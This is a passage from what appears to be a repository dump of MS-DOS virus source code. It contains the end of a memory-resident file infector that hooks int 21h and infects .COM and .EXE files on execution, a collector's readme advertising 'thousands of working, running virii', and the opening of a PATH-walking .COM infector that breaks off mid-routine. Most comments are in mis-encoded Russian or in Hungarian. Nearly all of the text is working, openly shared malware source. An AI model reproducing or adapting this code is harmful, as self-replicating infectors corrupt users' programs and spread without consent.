|
||||
wrn db 'FRODO LIVES!$'
|
||||
;--------------------------------------
|
||||
|
||||
;################# VIRUS ##################
|
||||
|
||||
virr:
|
||||
call $+3
|
||||
pop si
|
||||
sub si,03
|
||||
;-Hacked mem.-----------------------------------------------------
|
||||
push si
|
||||
clc
|
||||
mov ax,0FEFEh ; <20>஢¥à塞 ¯ ¬ïâì § à ¦¥®áâì!
|
||||
int 21h ; Š®«¨ ¢¨àãá “†… ᨤ¨â ¢ ¬ 訥 â® ®
|
||||
jc exit_v ; ¯®¤¨¬¥â ä« £ CF!
|
||||
;- ‘«¥¤ãîé ï ç áâì ª®¤ ¯à®¨§¢®¤¨â "®âªãáë¢ ¨¥" 512 ¡ ©â ¯ ¬ïâ¨!-------------
|
||||
; <20>à¨æ¨¯ í⮣® "®âªãáë¢ ¨ï" ®á®¢ë¢ ¥âáï ⮬,çâ® ¯à¨ ¢ë¯®«¥¨¨ ¯à®£à ¬¬ë
|
||||
;á¨á⥬ áâந⠯¥à¥¤ ¥¥ ª®¤®¬ â ª¨¥ ¡«®ª¨ (®¡à â¨â¥ ¢¨¬ ¨¥ ¢ë¤¥«¥ë¥
|
||||
;ç áâ¨)
|
||||
;---(1)--- MCB - Memory Control Block (<28>«®ª ã¯à ¢«¥¨ï ¯ ¬ïâìî)
|
||||
; Ž¡ëç® ¢ â ª¨å ¡«®ª å DOS ®¯¨áë¢ ¥â ¢ë¤¥«¥ë¥ ¯à®£à ¬¬ ¬ ãç á⪨ ¯ ¬ïâ¨!
|
||||
; ”Ž<E2809D>Œ€’ :
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||||
; ç « ¡«®ª . ³ ³
|
||||
; ³ ³
|
||||
; 00 ³ 1b ³ …᫨ á⮨â 'M' â® íâ®â ¡«®ª ¥ ¯®á«¥¤¨©
|
||||
; ³ ³ 'Z' ¯®á«¥¤¨©.
|
||||
; 01 ³ 1w ³ ‘¥£¬¥âë© ¤à¥á (á ª®â®à®£® ¢ë¤¥«¥ ¡«®ª).
|
||||
;++++> 03 ³ 1w ³ „«¨ ¡«®ª ¢ ¯ à £à ä å (¯ à £à ä = 16 ¡ ©â)
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;„ «ìè¥ ¨¤ãâ ¥é¥ ¤ ë¥,® á ¨â¥à¥áã¥â ⮫쪮 íâ®! ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;
|
||||
;---(2)--- PSP - Program Segment Prefix (<28>à¥ä¨ªá ¯à®£à ¬¬®£® ᥣ¬¥â )
|
||||
; ‘¤¥áì ᮤ¥à¦¨âáï ¨ä®à¬ æ¨ï ¤«ï § ¯ã᪠¥¬®© ¯à®£à ¬¬ë!
|
||||
; ”Ž<E2809D>Œ€’ :
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||||
; ç « ¡«®ª . ³ ³
|
||||
; ³ ³
|
||||
; 00 ³ 1w ³ ‚ í⮬ á«®¢¥ á⮨⠪®¬ ¤ int 20h (CD 20h)
|
||||
;++++> 02 ³ 1w ³ Ž¡é¨© à §¬¥à ¯ ¬ï⨠¢ë¤¥«¥ë© ¯à®£à ¬¬¥!
|
||||
; ³ ³ (<28>ਠ§ ¯ã᪥ ¯à®£à ¬¬ë DOS ¢ë¤¥«ï¥â ¥© ¢áî
|
||||
; ³ ³ ¯ ¬ïâì "¤® ª®æ " 640 ª¨«®¡ ©â!)
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
;„ «ìè¥ ¨¤ãâ ¥ ¨â¥à¥áãî騥 á ¤ ë¥! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
;-- ’ ª ¢®â,®â¨¬ ï ¥ª®â®à®¥ § 票¥ ®â ¢ë¤¥«¥ëå ï祥ª,¬ë ¬®¦¥¬ ᤥ« âì
|
||||
;"¤ëàªã" ¢ áâ àè¨å ¤à¥á å ¯ ¬ï⨠¨ ¯¥à¥¥á⨠â㤠⥫® ¢¨àãá !
|
||||
; <20>à ªâ¨ç¥áª ï ॠ«¨§ æ¨ï :
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov es,ax
|
||||
sub word ptr es:[03],35 ;* 512b
|
||||
sub word ptr ds:[02],35 ;* 512b
|
||||
mov es,ds:[02] ; ES = ᥣ¬¥â. ¤à. "®âªãè." ¯ ¬ïâ¨!
|
||||
push ds cs
|
||||
pop ds
|
||||
xor di,di
|
||||
mov cx,offset ax_len-offset virr ; „«¨ ¢¨àãá !
|
||||
rep movsb ; <20>¥à¥®á¨¬ ¢¨àãá ¢ "®âª." ¯ ¬ïâì!
|
||||
;-Install int.----------------------------------------------------
|
||||
mov al,21h
|
||||
mov dx,offset int_21h_entry-offset virr
|
||||
mov si,offset ofs_21h-offset virr
|
||||
push es
|
||||
pop ds
|
||||
call inst_int ; “áâ ®¢¨¬ ¤à¥á int 21h ᢮©
|
||||
; ®¡à ¡®â稪.
|
||||
pop ds
|
||||
exit_v:
|
||||
push ds
|
||||
pop es
|
||||
pop si
|
||||
;- COM or EXE ?---------------------------------------------------
|
||||
; <20>஢¥à¨¬ ¨§ ª ª®£® ä ©« ¬ë áâ à⮢ «¨?
|
||||
; <20>â® ¤¥« ¥âáï ¯®â®¬ã,çâ® ¯¥à¥¤ ç ã¯à ¢«¥¨ï .COM ¨«¨ .EXE ¯à®£à ¬¬¥
|
||||
; ¯à®¨á室¨â ¯® à §®¬ã!
|
||||
cmp byte ptr cs:[si+offset origin_2_byte-offset virr+1],'Z'
|
||||
jz L_exe
|
||||
;-‚ocáâ ®¢¨âì âਠ¡ ©â ‡.<2E>.-------------------------------------
|
||||
; “ .COM ä ©« ¤®¡® ¢®ááâ ®¢¨âì ç¥âëॠ¯¥à¢ëå ¡ ©â ª®â®àë¥ ¬ë ¨§¬¥¨«¨
|
||||
; ¯à¨ § à ¦¥¨ï ä ©« ¤¨áª¥!(Œë § ¯¨á «¨ â㤠ª®¬ ¤ã ¯¥à¥å®¤ ¢¨àãá).
|
||||
mov di,100h
|
||||
add si,offset origin_2_byte-offset virr
|
||||
; SI = ¤à¥á ¡ãä¥à á ®à¨£¨ «ì묨 ¡ ©â ¬¨ .COM ä ©« !
|
||||
push di
|
||||
movsw
|
||||
movsw
|
||||
xor ax,ax
|
||||
ret ; Go to infected com program.
|
||||
;-Loaded from exe file.--------------------------------------------
|
||||
; € ¢®â í⮠ᯮᮡ ªâ¨¢ 樨 .EXE ¯à®£à ¬¬ë!
|
||||
; ‘¤¥áì ¯à®¨á室¨â ¢á¥ ¨ ç¥ : â.ª. ¯à¨ § à ¦¥¨¨ ä ©« ¬ë ¨§¬¥¨«¨ ¢ ¥¬
|
||||
; § £®«®¢®ª ª®â®àë© ãª §ë¢ ¥â á ª ª®£® ¤à¥á íâ®â ä ©« § ¯ã᪠îâ!
|
||||
; (Šâ® ¥ § ¥â,çâ® â ª®¥ § £®«®¢®ª .EXE ä ©« ¯ãáâì ®¡à â¨âáï ª ª¨£¥ <20>.€¡¥«ï
|
||||
; "Ÿ§ëª €áᥬ¡«¥à ¤«ï IBM PC ¨ ¯à®£à ¬¬¨à®¢ ¨ï" (áâà. 362)
|
||||
L_exe:
|
||||
mov ax,es
|
||||
add ax,10h
|
||||
add cs:[offset CS_file-offset virr][si],ax
|
||||
; ’ ª ¬ë ¢ëç¨á«¨«¨ ᥣ¬¥â ¢ ª®â®àë© ¤® ¯¥à¥¤ âì ã¯à ¢«¥¨¥!
|
||||
db 0eah ;-
|
||||
IP_file dw ? ;- JMP Far CS_file:IP_file
|
||||
CS_file dw ? ;-
|
||||
;------------------------------------------------------------------
|
||||
; € í⮠ᮡá⢥® ç áâì ®â¢¥ç îé ï § § à ¦¥¨¥ ¯à®£à ¬¬!
|
||||
int_21h_entry proc
|
||||
cmp ax,0FEFEh ;-…᫨ ᮡà â á¯à 訢 ¥â ® «¨ç¨¨
|
||||
jnz _@1 ;-᢮¥© த¨ â® ¤ âì ¤à㦥᪨© ®â¢¥â.
|
||||
stc ;-
|
||||
int_24h_entry:
|
||||
mov al,03
|
||||
retf 2
|
||||
|
||||
_@1:
|
||||
cmp ax,4b00h ; …᫨ DOS ¯ëâ ¥âáï ¢ë¯®«¨âì ¯à®£à ¬¬ã
|
||||
jnz exit_all ; â® ¬ë § à ¦ ¥¬ ¥¥!
|
||||
jmp infecting ;
|
||||
exit_date:
|
||||
mov ax,5701h ; “áâ ®¢ª áâ ன ¤ âë ä ©« .
|
||||
mov cx,es:[di+13] ;<- Time
|
||||
mov dx,es:[di+15] ;<- Date
|
||||
int 21h
|
||||
exit_close:
|
||||
mov ah,3eh ; <20>¥à¥¤ ¯¥à¥¤ 祩 ã¯à ¢«¥¨ï DOS'ã -
|
||||
int 21h ; § ªà®¥¬ ä ©« ª®â®àë© § à ¦ «¨!
|
||||
exit_pop:
|
||||
lds dx,cs:[offset ofs_24h-offset virr]
|
||||
mov ax,2524h ; “áâ ®¢¨¬ ¬¥áâ® int 24h
|
||||
int 21h
|
||||
pop bp
|
||||
pop ds
|
||||
pop es
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
exit_all:
|
||||
db 0eah
|
||||
ofs_21h dw 0000
|
||||
seg_21h dw 0000
|
||||
int_21h_entry endp
|
||||
;-------------------------------------------------------------------
|
||||
infecting:
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push es
|
||||
push ds
|
||||
push bp
|
||||
push ds
|
||||
push dx
|
||||
;------------------------------------------------------------------
|
||||
; <20>¥à¥áâ ¢¨¬ ¤à¥á ¢¥ªâ®à int 24h è ®¡à ¡®â稪 - â.¥. ¯à®áâãî
|
||||
; § £«ãèªã,ª®â®à ï ¢ á«ãç ¥ "§ ª«¥¥®©" ¤¨áª¥âë ¥ ¯®§¢®«¨â DOS'ã ªà¨ç âì :
|
||||
; Write protect error ...
|
||||
mov al,24h
|
||||
mov si,offset ofs_24h-offset virr
|
||||
mov dx,offset int_24h_entry-offset virr
|
||||
call inst_int
|
||||
pop dx
|
||||
pop ds
|
||||
;-Open file...-----------------------------------------------------
|
||||
mov ax,3d00h
|
||||
int 21h
|
||||
jc exit_pop
|
||||
;-Read header (EXE) or first 4 byte (COM).-------------------------
|
||||
mov bh,3fh
|
||||
xchg ax,bx
|
||||
mov cx,18h
|
||||
push cs
|
||||
pop ds
|
||||
mov dx,offset origin_2_byte-offset virr
|
||||
mov si,dx
|
||||
int 21h ; ‘ç¨âë¢ ¥¬ ¢ ¡ãä¥à 24 ¯¥à¢ëå ¡ ©â ¯à®£à ¬¬ë!
|
||||
_1:
|
||||
jc exit_close ; …᫨ ®è¨¡ª ,â® § ªà®¥¬ ä ©« ¨ ¢ë©¤¥¬.
|
||||
;-Look SFT file!-----------------------------
|
||||
; ‘®¡á⢥® £®¢®àï, ¤ «¥¥ ¨¤¥â "¨§î¬¨ª " ¢¨àãá - ¨§-§ ¥¥ ® ¨¬¥¥â â ª¨¥
|
||||
;¬ «ë¥ à §¬¥àë!ˆ â ª,çâ® ¦¥ íâ® :
|
||||
; ˆ§¢®«¨â¥ «¨ ¢¨¤¥âì ï ¢¥áì¬ «¥¨¢,¨ ¥ ®ç¥ì «î¡«î ¢®§¨âáï á â ª¨¬¨
|
||||
; àã⨠¬¨ ª ª áï⨥ ¨ ãáâ ®¢ª âਡã⮢,¯¥à¥¬¥é¥¨¥ ä ©«®¢®£® 㪠§ ⥫ï!
|
||||
; € ¯®á¥¬ã à ᪮¯ « ï ¢ãâà¥îî ¯®¤à®¡®áâì DOS' !
|
||||
; (Ž 㯮¬¨ ¥âáï ¢ à ¡®â¥ Š.ƒ.”¨®£¥®¢ "‘ ¬®ãç¨â¥«ì ¯® á¨áâ¥¬ë¬ äãªæ¨ï¬
|
||||
; MS-DOS" (áâà. 67) ( â ª ¦¥ ¢ í«¥ªâà®®¬ á¯à ¢®ç¨ª¥ Help PC)
|
||||
; (‚¯¥à¢ë¥ ¯à¨¬¥¥® ¢ RC-0-512 (666,Written by Dark Avenger.)
|
||||
; <20>â® SFT -- System File Table - (‘¨á⥬ ï â ¡«¨æ ®âªàëâëå ä ©«®¢.)
|
||||
;Ž ᮧ¤ ¥âáï ¤«ï ¢®¢ì ®âªàë¢ ¥¬®£® ä ©« ¨ ᮤ¥à¦¨â ¨ä®à¬ æ¨î ¨á¯®«ì§ã¥¬ãî
|
||||
;¥¯®á।á⢥® ¯à®æ¥¤ãà ¬¨ § ¯¨á¨/áç¨âë¢ ¨ï DOS' !!!
|
||||
;
|
||||
; ”Ž<E2809D>Œ€’ :
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ‘¬¥é¥¨¥ ï祩ª¨ ®â ³ „«¨ ³ <20> § 票¥
|
||||
; ç « ¡«®ª .(„¥á.) ³ ³
|
||||
; ³ ³
|
||||
; 00 ³ 1w ³ Š®«-¢® ¤¥áªà¨¯â®à®¢ § ªà¥¯«¥ëå § ä ©«®¬
|
||||
; 02 ³ 1b ³ <20>¥¦¨¬ ¤®áâ㯠§ ¤ ë© ¯à¨ ¥£® ®âªàë⨨
|
||||
; 04 ³ 1b ³ €âਡãâë ä ©«
|
||||
; 11 ³ 1w ³ <20>®¬¥à ¯¥à¢®£® ª« áâ¥à ä ©«
|
||||
; 13 ³ 1w ³ ‚à¥¬ï ¯®á«¥¤¥© ¬®¤¨ä¨ª 樨 ä ©«
|
||||
; 15 ³ 1w ³ „ â ...
|
||||
; 17 ³ 2w ³ „«¨ ä ©«
|
||||
; 21 ³ 2w ³ “ª § â¥«ì ¢ ä ©«¥
|
||||
; 32 ³ 11b ³ ˆ¬ï ¨ à áè¨à¥¨¥ ä ©« (¡¥§ '.')
|
||||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
mov ax,1220h ; ‘¥© ãç áâ®ç¥ª ª®¤ ¯®§¢®«ï¥â
|
||||
push bx ; ¯®«ãç¨âì ¤à¥á SFT ¢ ¯ ॠES:DI
|
||||
int 2fh ;
|
||||
mov bl,es:[di] ;
|
||||
mov ax,1216h ;
|
||||
int 2fh ;
|
||||
pop bx ;
|
||||
mov byte ptr es:[di+2],02 ; ‚<>ˆŒ€<C592>ˆ…!<21>⨬ ¤¥©á⢨¥¬ ¬ë
|
||||
;ᤥ« «¨ â ª,ç⮠⥯¥àì DOS
|
||||
;áç¨â ¥â,çâ® ä ©« ®âªàëâ ¤«ï
|
||||
;§ ¯¨á¨/áç¨âë¢ ¨ï!
|
||||
; ’.¥. ¬ ¥ ¯® ¤®¡¨«®áì
|
||||
;ᨬ âì âਡãâë ä ©« !
|
||||
mov bp,es:[di+17] ; BP = file len!
|
||||
;---------------------------------------------
|
||||
; ’¥¯¥àì ¯à®¢¥à塞 ¡ ©âë ª®â®àë¥ áç¨â «¨ ¢ ¡ãä¥à.
|
||||
lodsb
|
||||
dec si
|
||||
cmp al,'M' ; MZ - ¯à¨§ ª ⮣®,çâ® íâ® .EXE ä ©«!
|
||||
jz _EXE
|
||||
cmp al,90h ; NOP - ¥á«¨ íâ® .COM ä ©« â® ¯à®¢¥à¨¬ ¥£®
|
||||
; ¯®¢â®àãî § à ¦¥®áâì!(‘¬®âà¨â¥ ¢ ç «®)
|
||||
_1d:
|
||||
jz exit_close
|
||||
;-Infect .COM --------------------------------
|
||||
; ’ ª § à ¦ îâ .COM ä ©«ë!
|
||||
xchg ax,bp
|
||||
cmp ax,65000
|
||||
ja exit_close ;„«¨ ¡®«ìè¥ ¤®¯ãá⨬®©.
|
||||
|
||||
mov es:[di+21],ax ;‘â ¢¨¬ ä ©«®¢ë© 㪠§ â¥«ì ¢
|
||||
;ª®¥æ ä ©« !
|
||||
;-Make JMP------------------------------------
|
||||
; ’.ª. ¯à¨ § à ¦¥¨¨ ¬ë ¢¯¨áë¢ ¥¬ ¢ ç «® .COM ä ©« ¯¥à¥å®¤ ⥫® ¢¨àãá â®
|
||||
;¬ë ¤®«¦ë ¢ëç¨á«¨âì ᬥ饨¥ í⮣® ¯¥à¥å®¤ !
|
||||
sub ax,04
|
||||
mov ds:[offset jmp_n-offset virr],ax
|
||||
call write_virus ; <20>¨è¥¬ ¢¨àãá ¢ ª®¥æ ä ©« !
|
||||
mov cx,04h ; € ⥯¥àì ¯¨è¥¬ ¢ ç «® ä ©« â®â á ¬ë©
|
||||
mov dx,offset new_3_byte-offset virr ; ¯¥à¥å®¤!
|
||||
exit_write:
|
||||
mov ah,40h
|
||||
int 21h
|
||||
_1b: jmp exit_date
|
||||
;-Sub. for write virus body (only) in file.----
|
||||
write_virus proc
|
||||
xor dx,dx
|
||||
mov ah,40h
|
||||
mov cx,offset ax_len-offset virr
|
||||
int 21h
|
||||
mov es:[di+21],dx ; F.P = start file!
|
||||
mov es:[di+23],dx
|
||||
cmp ax,cx
|
||||
jnz _1c
|
||||
ret
|
||||
_1c:
|
||||
pop ax
|
||||
jmp _1b ; exit_date!
|
||||
write_virus endp
|
||||
;-Infect .EXE ---------------------------------
|
||||
_EXE:
|
||||
; € ⥯¥àì ¢ëáç¨â ¥¬ ¤«¨ã ä ©« , ¨áå®¤ï ¨§ ¤ ëå § ¯¨á ëå ¢ § £®«®¢ª¥
|
||||
; .EXE ä ©« ! ˆ ¥á«¨ ® ¥ ᮩ¤¥âáï á § ¯¨á ®© ¢ SFT, â® ¬ë áç¨â ¥¬,çâ®
|
||||
; íâ® ä ©«, ᮤ¥à¦ 騩 ¥ï¢ë© ®¢¥à«¥© ¨ ¥ § à ¦ ¥¬ ¥£®!
|
||||
mov ax,ds:[si+4] ; Pages (512b).
|
||||
dec ax
|
||||
mov cx,512
|
||||
mul cx
|
||||
add ax,[si+2] ; AX = File len from header.
|
||||
cmp ax,bp ; Real file len = ax ?
|
||||
jnz _1b ; No - this is overlay.
|
||||
;-----
|
||||
mov es:[di+21],ax ; “ª § â¥«ì ¢ ª®¥æ ä ©« .
|
||||
mov es:[di+23],dx
|
||||
;-Get header.-----------------------------------
|
||||
; ‡ ¯®¬¨ ¥¬ ¤à¥á á ª®â®à®£® ¬ë ¡ã¤¥¬ § ¯ã᪠âì .EXE ¯à®£à ¬¬ã!
|
||||
mov ax,[si+14h]
|
||||
mov ds:[offset IP_file-offset virr],ax
|
||||
mov ax,[si+16h]
|
||||
mov ds:[offset CS_file-offset virr],ax
|
||||
;-----------------------------------------------
|
||||
; ‚ëç¨á«¨¬ ®¢ë© ¤à¥á (â.¥. ¤«ï § ¯ã᪠¢¨àãá ¯à¨ áâ à⥠¯à®£à ¬¬ë)
|
||||
xchg ax,bp
|
||||
mov cx,10h
|
||||
div cx
|
||||
sub ax,[si+8]
|
||||
sbb dx,0
|
||||
mov [si+16h],ax ; ReloCS.
|
||||
mov [si+14h],dx ; ExeIP.
|
||||
;-Correcting file len in header.----------------
|
||||
;’¥¯¥àì ®âª®à४â¨à㥬 ¤«¨ã ¢ § £®«®¢ª¥ .EXE ä ©« !
|
||||
;(<28><>…„“<E2809E><E2809C>…†„€ž!„«¨ ¢¨àãá = 385 , ¬ë 㢥«¨ç¨¢ ¥¬ ¤«¨ã ä ©« ¢ § £®«®¢ª¥
|
||||
; ¥ 385 , 512!!!’.¥. ⥯¥àì ¤à㣨¥ "ã¬ë¥ ¢¨àãáë" ¥ ¡ã¤ãâ § à ¦ âì
|
||||
; íâ®â ä ©«).‘®¡á⢥® £®¢®àï í⠮ᮡ¥®áâì ï¥âáï ¯à¨§ ª®¬ § à ¦¥¨ï,-
|
||||
; ¬ë ¢¥¤ì ¥ § à ¦ ¥¬ ®¢¥à«¥¨!
|
||||
inc word ptr ds:[si+4]
|
||||
;-Write virus to file.--------------------------
|
||||
call write_virus
|
||||
;-Write new header.-----------------------------
|
||||
mov cx,18h
|
||||
mov dx,si ; DX = offset header.
|
||||
jmp exit_write ; <20>®¤£®â®¢¨¢ ¢á¥ ª § ¯¨á¨ ¨á¯à ¢«¥®£®
|
||||
;§ £®«®¢ª ¬ë ¯¥à¥¤ ¥¬ ã¯à ¢«¥¨¥ ¯àאַ
|
||||
; ª®¬ ¤ã int 21h!
|
||||
;----------------------------------------------
|
||||
inst_int proc
|
||||
mov ah,35h
|
||||
int 21h
|
||||
mov ds:[si],bx
|
||||
mov ds:[si+2],es
|
||||
mov ah,25h
|
||||
int 21h
|
||||
ret
|
||||
inst_int endp
|
||||
new_3_byte db 90h ; NOP
|
||||
db 0e9h ; JMP nn
|
||||
jmp_n dw 0000 ; nn
|
||||
;-Header for EXE file & buffer for first 5 bytes COM's file.--
|
||||
origin_2_byte:
|
||||
header:
|
||||
db 4 dup (90h) ; NOPs
|
||||
ax_len db ?
|
||||
db 20h dup (?) ; For EXE header.
|
||||
ofs_24h dw ?
|
||||
seg_24h dw ?
|
||||
;********************************************************
|
||||
cseg ends
|
||||
end start
|
||||
|
||||
;-- Written by Light General.Kiev.1995.For free use! ----
|
19
MSDOS/Virus.MSDOS.Unknown.readme.txt
Normal file
19
MSDOS/Virus.MSDOS.Unknown.readme.txt
Normal file
@ -0,0 +1,19 @@
|
||||
|
||||
Rhys' Virii Archives:
|
||||
~~~~~~~~~~~~~~~~~~~~~~~
|
||||
This is one of many ZIP archive files that, all together, contain
|
||||
literally thousands of working, running virii. Enjoy.
|
||||
|
||||
Please note that I have safely kept these on my hard drive as
|
||||
uncompressed program files and have yet to be infected by one
|
||||
of these.
|
||||
|
||||
All you must do to avoid infection is make sure that no idiot
|
||||
runs these.
|
||||
|
||||
These virii are for educational uses only. I will not be
|
||||
responsible for what you do with these.
|
||||
|
||||
Once again, Enjoy!
|
||||
|
||||
-Rhys
|
230
MSDOS/Virus.MSDOS.Unknown.reboot.asm
Normal file
230
MSDOS/Virus.MSDOS.Unknown.reboot.asm
Normal file
@ -0,0 +1,230 @@
|
||||
PAGE ,132
|
||||
VIRUS SEGMENT PARA PUBLIC 'CODE'
|
||||
ASSUME CS:VIRUS,DS:VIRUS
|
||||
|
||||
HOSSZ EQU VEG-KEZDET
|
||||
KEZDET EQU $
|
||||
|
||||
INDIT: PUSH CX
|
||||
TBLC: MOV DX,OFFSET TABL
|
||||
CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA
|
||||
MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET
|
||||
ADD SI,OFFSET FILKEZ-TABL
|
||||
MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA
|
||||
MOV CX,3
|
||||
REPZ MOVSB
|
||||
MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME
|
||||
MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE
|
||||
INT 21H
|
||||
CMP AL,0 ; MEG AZ 1.X VERZIO?
|
||||
JNZ IND1 ; NEM
|
||||
JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI
|
||||
IND1: PUSH ES ; ES ELMENTESE
|
||||
MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE
|
||||
INT 21H ; ES ELTAROLASA A TABLAZATBAN
|
||||
MOV WORD PTR [SI+DTACIM-TABL],BX
|
||||
MOV WORD PTR [SI+DTACIM-TABL+2],ES
|
||||
POP ES ; ES VISSZAOLVASASA
|
||||
MOV DX,UJDTA-TABL
|
||||
ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA
|
||||
MOV AH,1AH
|
||||
INT 21H
|
||||
PUSH ES ; REGISZTEREK ELMENTESE
|
||||
PUSH SI
|
||||
MOV ES,DS:2CH ; A DOS KORNYEZET CIME
|
||||
MOV DI,0 ; ELEJETOL
|
||||
IND3: POP SI ; SI VISSZAOLVASASA
|
||||
PUSH SI ; ES VISSZAIRASA
|
||||
ADD SI,OFFSET SZOVEG-TABL
|
||||
LODSB ; EGY KARAKTER BETOLTESE
|
||||
MOV CX,8000H ; A KORNYEZET MAX. 32K
|
||||
REPNZ SCASB ; AZ ELSO KARAKTER KERESESE
|
||||
MOV CX,OFFSET FSPEC-SZOVEG-1
|
||||
IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA
|
||||
SCASB ; ES ELLENORZESE
|
||||
JNZ IND3 ; NEM EGYEZIK
|
||||
LOOP IND4 ; FOLYTATNI
|
||||
POP SI ; A REGISZTEREK VISSZAALLITASA
|
||||
POP ES
|
||||
MOV [SI+UTCIM-TABL],DI
|
||||
MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME
|
||||
ADD DI,OFFSET FSPEC-TABL
|
||||
MOV BX,SI ; SI ELMENTESE BX-BE
|
||||
ADD SI,OFFSET FSPEC-TABL
|
||||
MOV DI,SI
|
||||
JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
|
||||
INDE: CMP WORD PTR [SI+UTCIM-TABL],0
|
||||
JNZ IND6 ; VAN MEG TOBB UT
|
||||
JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT
|
||||
IND6: PUSH DS ; A REGISZTEREK ELMENTESE
|
||||
PUSH SI
|
||||
MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE
|
||||
MOV DI,SI ; DI A TABLAZATRA MUTAT
|
||||
MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
|
||||
ADD DI,OFFSET FSPEC-TABL
|
||||
IND8: LODSB ; EGY KARAKTER BETOLTESE
|
||||
CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL
|
||||
JZ IND9 ; ANNAK A KODJA
|
||||
CMP AL,0 ; A LEZARO NULLA?
|
||||
JZ INDA ; AZ A KOD
|
||||
STOSB ; ELTAROLAS
|
||||
JMP SHORT IND8 ; FOLYTATNI
|
||||
INDA: MOV SI,0 ; TOBB UT NEM LETEZIK
|
||||
IND9: POP BX ; BX A TABLAZAT KEZDOCIME
|
||||
POP DS ; DS VISSZAALLITASA
|
||||
MOV [BX+UTCIM-TABL],SI
|
||||
CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA?
|
||||
JZ IND5 ; IGEN
|
||||
MOV AL,5CH ; A '\' KODJA
|
||||
STOSB ; ELTAROLASA
|
||||
IND5: MOV [BX+FAKT-TABL],DI
|
||||
MOV SI,BX ; A TABLAZAT KEZDOCIME BX
|
||||
ADD SI,OFFSET FKER-TABL ; KERESO NEV
|
||||
MOV CX,OFFSET UTCIM-FKER
|
||||
REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA
|
||||
MOV SI,BX ; SI A TABLAZAT KEZDOCIME
|
||||
MOV AH,4EH ; FILE KERESESE
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
MOV CX,11B ; A KERESETT ATTRIBUTUM
|
||||
INT 21H
|
||||
JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI
|
||||
INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE
|
||||
INT 21H
|
||||
INDC: JNC INDD ; MEGTALALTUK
|
||||
JMP INDE ; NINCS ITT TOBB HASONLO
|
||||
INDD: MOV AX,[SI+UJDTA-TABL+22]
|
||||
AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
|
||||
CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/
|
||||
JZ INDF ; IGEN, TOVABB KELL KERESNI
|
||||
CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
|
||||
JA INDF ; TUL NAGY FILE, NEM FERTOZHETO
|
||||
CMP WORD PTR [SI+UJDTA-TABL+26],0AH
|
||||
JB INDF ; TUL KICSI FILE
|
||||
MOV DI,[SI+FAKT-TABL]
|
||||
PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE
|
||||
ADD SI,OFFSET UJDTA-TABL+30
|
||||
INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
|
||||
STOSB
|
||||
CMP AL,0 ; A NEV ZARO NULLA?
|
||||
JNZ INDG ; NEM, FOLYTATNI
|
||||
POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
|
||||
